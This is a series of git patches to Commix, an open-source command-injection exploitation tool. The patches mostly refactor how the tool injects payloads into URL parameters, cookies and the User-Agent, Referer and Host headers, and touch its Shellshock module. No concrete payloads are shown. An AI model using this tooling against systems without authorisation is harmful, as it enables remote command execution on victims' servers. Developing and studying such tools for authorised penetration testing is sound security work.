@@ def main(filename, url, http_request_method): url = menu.options.sitemap_url else: url = menu.options.url - + + if menu.options.data: + settings.USER_DEFINED_POST_DATA = menu.options.data + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in settings.USER_DEFINED_POST_DATA: + settings.PARAMETER_DELIMITER = menu.options.pdel + else: + # Check if defined character used for splitting parameter values. + if menu.options.pdel and menu.options.pdel in url: + settings.PARAMETER_DELIMITER = menu.options.pdel + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index a7a9a1ab6a..bf31606341 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -49,6 +49,8 @@ def multi_params_get_value(parameter): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) + if settings.USER_DEFINED_POST_DATA and settings.INJECT_TAG in url: + settings.IGNORE_USER_DEFINED_POST_DATA = True # Check for REST-ful URLs format. if "?" not in url: @@ -195,6 +197,9 @@ def vuln_GET_param(url): else: vuln_parameter = url + if settings.USER_DEFINED_POST_DATA and vuln_parameter: + settings.IGNORE_USER_DEFINED_POST_DATA = True + return vuln_parameter """ @@ -266,6 +271,7 @@ def json_format(parameter): return parameter # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. + parameter = checks.wildcard_character(parameter).replace("'","\"").replace(", ",",").replace(",\"", ", \"") checks.check_injection_level() # Check if JSON Object. @@ -282,9 +288,12 @@ def json_format(parameter): data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) + elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): + settings.IGNORE_USER_DEFINED_POST_DATA = True + if settings.IGNORE_USER_DEFINED_POST_DATA: return "" - + parameters_list = [] # Split multiple parameters if settings.IS_XML: @@ -562,7 +571,7 @@ def multi_params_get_value(parameter): if checks.ignore_google_analytics_cookie(cookie): return cookie # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie # Check if defined the INJECT_TAG if settings.INJECT_TAG not in cookie: @@ -582,7 +591,7 @@ def multi_params_get_value(parameter): # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie for param in range(0, len(all_params)): if param == 0 : diff --git a/src/utils/settings.py b/src/utils/settings.py index 454ce6509a..14d15adba6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -376,6 +376,7 @@ class HEURISTIC_TEST(object): # Testable parameter(s) - comma separated. TEST_PARAMETER = "" +TESTABLE_PARAMETERS = None # Skip testing for given parameter(s) - comma separated. SKIP_PARAMETER = "" @@ -740,7 +741,7 @@ class OS(object): COOKIE_DELIMITER = ";" # Split parameter value -PARAMETER_SPLITTING_REGEX = r'[,]' +PARAMETER_SPLITTING_REGEX = "," # Cookie delimiter PARAMETER_DELIMITER = "&" From f804e0d597c3a170bae07c213e778bd1461168dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 10 Apr 2024 07:19:22 +0300 Subject: [PATCH 0418/1023] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 6 ++--- src/core/injections/controller/controller.py | 24 +++++++++---------- src/core/injections/controller/parser.py | 8 +++---- .../techniques/classic/cb_handler.py | 8 +++---- .../techniques/eval_based/eb_handler.py | 8 +++---- .../techniques/file_based/fb_handler.py | 8 +++---- .../techniques/tempfile_based/tfb_handler.py | 8 +++---- src/core/modules/shellshock/shellshock.py | 18 +++++++------- src/core/requests/requests.py | 10 ++++---- src/utils/logs.py | 2 +- src/utils/settings.py | 9 ++++--- 11 files changed, 54 insertions(+), 55 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 45b06c539e..46f193ebc2 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -343,17 +343,17 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r possibly_vulnerable = False if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0e8c42a88d..54a96a3cb0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -391,7 +391,7 @@ def user_agent_injection(url, http_request_method, filename, timesec): menu.options.agent = menu.options.agent + settings.INJECT_TAG settings.USER_AGENT_INJECTION = True if settings.USER_AGENT_INJECTION: - check_parameter = header_name = " User-Agent" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT settings.HTTP_HEADER = header_name[1:].replace("-", "").lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -406,7 +406,7 @@ def referer_injection(url, http_request_method, filename, timesec): menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: - check_parameter = header_name = " Referer" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.REFERER settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -420,7 +420,7 @@ def host_injection(url, http_request_method, filename, timesec): menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: - check_parameter = header_name = " Host" + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.HOST settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) if not injection_proccess(url, check_parameter, http_request_method, filename, timesec): @@ -429,26 +429,26 @@ def host_injection(url, http_request_method, filename, timesec): # User-Agent HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "user-agent" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.USER_AGENT.lower() in menu.options.test_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) else: - if "user-agent" not in menu.options.skip_parameter.lower(): + if settings.USER_AGENT.lower() not in menu.options.skip_parameter.lower(): user_agent_injection(url, http_request_method, filename, timesec) # Referer HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "referer" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.REFERER.lower() in menu.options.test_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) else: - if "referer" not in menu.options.skip_parameter.lower(): + if settings.REFERER not in menu.options.skip_parameter.lower(): referer_injection(url, http_request_method, filename, timesec) # Host HTTP header injection if menu.options.skip_parameter == None: - if menu.options.test_parameter == None or "host" in menu.options.test_parameter.lower(): + if menu.options.test_parameter == None or settings.HOST.lower() in menu.options.test_parameter.lower(): host_injection(url, http_request_method, filename, timesec) else: - if "host" not in menu.options.skip_parameter.lower(): + if settings.HOST.lower() not in menu.options.skip_parameter.lower(): host_injection(url, http_request_method, filename, timesec) """ @@ -459,10 +459,10 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file for check_parameter in settings.HTTP_HEADERS: settings.HTTP_HEADER = check_parameter if check_for_stored_sessions(url, http_request_method): - if check_parameter == "referer": + if check_parameter == settings.REFERER: menu.options.referer = settings.INJECT_TAG settings.REFERER_INJECTION = True - elif check_parameter == "host": + elif check_parameter == settings.HOST.lower(): menu.options.host= settings.INJECT_TAG settings.HOST_INJECTION = True else: @@ -485,7 +485,7 @@ def cookie_injection(url, http_request_method, filename, timesec): if settings.COOKIE_INJECTION == True: cookie_value = menu.options.cookie - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) if type(cookie_parameters) is str: diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index c0e43583eb..542f30e1ba 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -127,16 +127,16 @@ def invalid_data(request): extra_headers = "" scheme = "http://" for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): + if re.findall(r"" + settings.HOST + ": " + "(.*)", line): menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header - if re.findall(r"User-Agent: " + "(.*)", line): + if re.findall(r"" + settings.USER_AGENT + ": " + "(.*)", line): menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) # Cookie Header - if re.findall(r"Cookie: " + "(.*)", line): + if re.findall(r"" + settings.COOKIE + ": " + "(.*)", line): menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header - if re.findall(r"Referer: " + "(.*)", line): + if re.findall(r"" + settings.REFERER + ": " + "(.*)", line): menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: scheme = "https://" diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 39665882eb..7df74bc83d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -215,22 +215,22 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 092135920f..d611c78c5a 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -228,22 +228,22 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index c47b871333..c8e5ac0493 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -455,22 +455,22 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r next_attack_vector = True if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = "Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index bd6e4c3605..f112457df6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -370,22 +370,22 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, possibly_vulnerable = False if settings.COOKIE_INJECTION == True: - header_name = " cookie" + header_name = settings.SINGLE_WHITESPACE + settings.COOKIE found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" + header_name = settings.SINGLE_WHITESPACE + settings.USER_AGENT found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: - header_name = " Referer" + header_name = settings.SINGLE_WHITESPACE + settings.REFERER found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: - header_name = " Host" + header_name = settings.SINGLE_WHITESPACE + settings.HOST found_vuln_parameter = "" the_type = " HTTP header" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 789a6a3744..cc14cb04df 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -44,9 +44,9 @@ # Available HTTP headers headers = [ -"User-Agent", -"Referer", -"Cookie", +settings.USER_AGENT, +settings.REFERER, +settings.COOKIE, ] # Available Shellshock CVEs @@ -305,9 +305,9 @@ def shellshock_handler(url, http_request_method, filename): print(settings.print_payload(payload)) header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "Cookie": + if check_header == settings.COOKIE: menu.options.cookie = payload - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) @@ -316,9 +316,9 @@ def shellshock_handler(url, http_request_method, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == "Cookie": + if check_header == settings.COOKIE: menu.options.cookie = default_cookie - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent percent = ((i*100)/total) float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) @@ -553,7 +553,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): header = {check_header : payload} request = _urllib.request.Request(url, None, header) - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = payload log_http_headers.do_check(request) log_http_headers.check_http_traffic(request) @@ -562,7 +562,7 @@ def check_for_shell(url, cmd, cve, check_header, filename): response = proxy.use_proxy(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == "User-Agent": + if check_header == settings.USER_AGENT: menu.options.agent = default_user_agent shell = checks.page_encoding(response, action="decode").rstrip().replace('\n',' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e6911c121a..b31f955cdb 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -439,9 +439,9 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = checks.newline_fixation(payload) payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - request.add_header('Cookie', menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) + request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) else: - request.add_header('Cookie', menu.options.cookie.replace(settings.INJECT_TAG, payload)) + request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, payload)) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -484,7 +484,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('User-Agent', payload) + request.add_header(settings.USER_AGENT, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -527,7 +527,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Referer', payload) + request.add_header(settings.REFERER, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -578,7 +578,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - request.add_header('Host', payload) + request.add_header(settings.HOST, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: diff --git a/src/utils/logs.py b/src/utils/logs.py index eb26856789..1886ced1b5 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -141,7 +141,7 @@ def add_type_and_technique(export_injection_info, filename, injection_type, tech def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload): with open(filename, 'a') as output_file: if not menu.options.no_logging: - if header_name[1:] == "cookie": + if header_name[1:] == settings.COOKIE.lower(): header_name = " ("+ header_name[1:] + ") " + vuln_parameter if header_name[1:] == "": header_name = " ("+ http_request_method + ") " + vuln_parameter diff --git a/src/utils/settings.py b/src/utils/settings.py index 14d15adba6..3d1f07ab6b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1022,9 +1022,6 @@ class AUTH_TYPE(object): DIGEST = "digest" BEARER = "bearer" -# HTTP Headers -HTTP_HEADERS = [ "user-agent", "referer", "host" ] - RAW_HTTP_HEADERS = "" USER_SUPPLIED_TAMPER = "" @@ -1241,10 +1238,12 @@ class AUTH_TYPE(object): VIA = "Via" X_POWERED_BY = "X-Powered-By" X_DATA_ORIGIN = "X-Data-Origin" - # HTTP Headers values ACCEPT_VALUE = "*/*" +# HTTP Headers +HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ] + # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]" IGNORE_JSON_CHAR_REGEX = "[{}\"\[\]]" From f81bd716e584c05029d2348068313dce2b86a705 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 11 Apr 2024 08:17:48 +0300 Subject: [PATCH 0419/1023] Minor update --- src/core/injections/controller/checks.py | 3 +++ src/core/injections/controller/controller.py | 9 +++++---- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 83e2f21c44..cbfa01b6d4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1178,6 +1178,9 @@ def check_skipped_params(check_parameters, http_request_method): Print the non-listed parameters. """ def testable_parameters(check_parameters, http_request_method, header_name): + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 : + menu.options.level = int(settings.HTTP_HEADER_INJECTION_LEVEL) + _ = False if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: _ = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 54a96a3cb0..0b8be5aee5 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -86,7 +86,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, _ = 0 for payload in basic_payloads: _ = _ + 1 - if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + + if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") @@ -146,7 +147,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t try: if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: - if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): + if not inject_http_headers or (inject_http_headers and settings.HOST.capitalize() in check_parameter): if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") @@ -402,7 +403,7 @@ def referer_injection(url, http_request_method, filename, timesec): referer = menu.options.referer if not menu.options.shellshock: if menu.options.referer is None: - menu.options.referer = "" + menu.options.referer = _urllib.parse.urljoin(url, _urllib.parse.urlparse(url).path) menu.options.referer = menu.options.referer + settings.INJECT_TAG settings.REFERER_INJECTION = True if settings.REFERER_INJECTION: @@ -416,7 +417,7 @@ def referer_injection(url, http_request_method, filename, timesec): def host_injection(url, http_request_method, filename, timesec): host = menu.options.host if menu.options.host is None: - menu.options.host = "" + menu.options.host = _urllib.parse.urlparse(url).netloc menu.options.host = menu.options.host + settings.INJECT_TAG settings.HOST_INJECTION = True if settings.HOST_INJECTION: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3d1f07ab6b..e0fa7b334b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 2fca6df3561a141b2b55e787cd9da27929d8e338 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 12 Apr 2024 08:15:46 +0300 Subject: [PATCH 0420/1023] Minor update regarding testing HTTP Host header --- src/core/injections/controller/controller.py | 6 +++--- src/core/requests/requests.py | 10 +--------- src/utils/settings.py | 2 +- 3 files changed, 5 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0b8be5aee5..a1e4d182ed 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -114,7 +114,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers: + if inject_http_headers and settings.HOST.capitalize() not in check_parameter: request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -163,7 +163,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG, "").encode(settings.DEFAULT_CODEC) else: @@ -174,7 +174,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) - if inject_http_headers: + if inject_http_headers and settings.HOST.capitalize() not in check_parameter: request.add_header(check_parameter.replace("'", "").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b31f955cdb..a83072500e 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -416,7 +416,7 @@ def get_request_response(request): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: response = request_failed(err_msg) - + return response """ @@ -560,15 +560,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): """ def host_injection(url, vuln_parameter, payload, http_request_method): - payload = _urllib.parse.urlparse(url).netloc + payload - def inject_host(url, vuln_parameter, payload, http_request_method): - - if proxy == None: - opener = _urllib.request.build_opener() - else: - opener = _urllib.request.build_opener(proxy) - # Check if defined POST data if len(settings.USER_DEFINED_POST_DATA) != 0: data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) diff --git a/src/utils/settings.py b/src/utils/settings.py index e0fa7b334b..8479c15ac3 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f340f28118b6bb0f2052325066af26f1e7fdc335 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 15 Apr 2024 08:48:00 +0300 Subject: [PATCH 0421/1023] Minor update --- src/core/requests/parameters.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index bf31606341..22c811c277 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -287,6 +287,7 @@ def json_format(parameter): if not settings.IS_XML: data_type = "XML/SOAP" settings.IS_XML = checks.process_data(data_type, http_request_method) + settings.PARAMETER_DELIMITER = "\n" elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER): settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -297,11 +298,10 @@ def json_format(parameter): parameters_list = [] # Split multiple parameters if settings.IS_XML: - settings.PARAMETER_DELIMITER = "" - parameter = re.sub(r">\s*<", '>\n<', parameter).replace("\\n","\n") + parameter = re.sub(r">\s*<", ">" + settings.PARAMETER_DELIMITER + "<", parameter) _ = [] parameters = re.findall(r'(.*)', parameter) - parameters = [param + "\n" for param in parameters if param] + parameters = [param for param in parameters if param] for value in range(0,len(parameters)): _.append(parameters[value]) multi_parameters = _ diff --git a/src/utils/settings.py b/src/utils/settings.py index 8479c15ac3..ffe9880e78 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f59c0d2dff22f6dc0b92bf1eef3b6b45d097142d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 16 Apr 2024 07:28:10 +0300 Subject: [PATCH 0422/1023] Trivial update --- src/core/injections/controller/controller.py | 11 +---------- src/core/requests/headers.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 12 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index a1e4d182ed..976eefcd22 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -270,13 +270,6 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: basic_level_checks() - if menu.options.method: - http_request_method = menu.options.method.upper() - elif check_parameter in settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: - http_request_method = settings.HTTPMETHOD.POST - elif check_parameter in url: - http_request_method = settings.HTTPMETHOD.GET - inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ any(x in check_parameter.lower() for x in settings.CUSTOM_HEADER_NAME): @@ -304,7 +297,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == settings.COOKIE and not the_type == "HTTP header": - settings.CHECKING_PARAMETER = str(http_request_method) + settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) @@ -550,7 +543,6 @@ def get_request(url, http_request_method, filename, timesec): check_parameters.append(check_parameter) header_name = "" - http_request_method = checks.check_http_method(url) 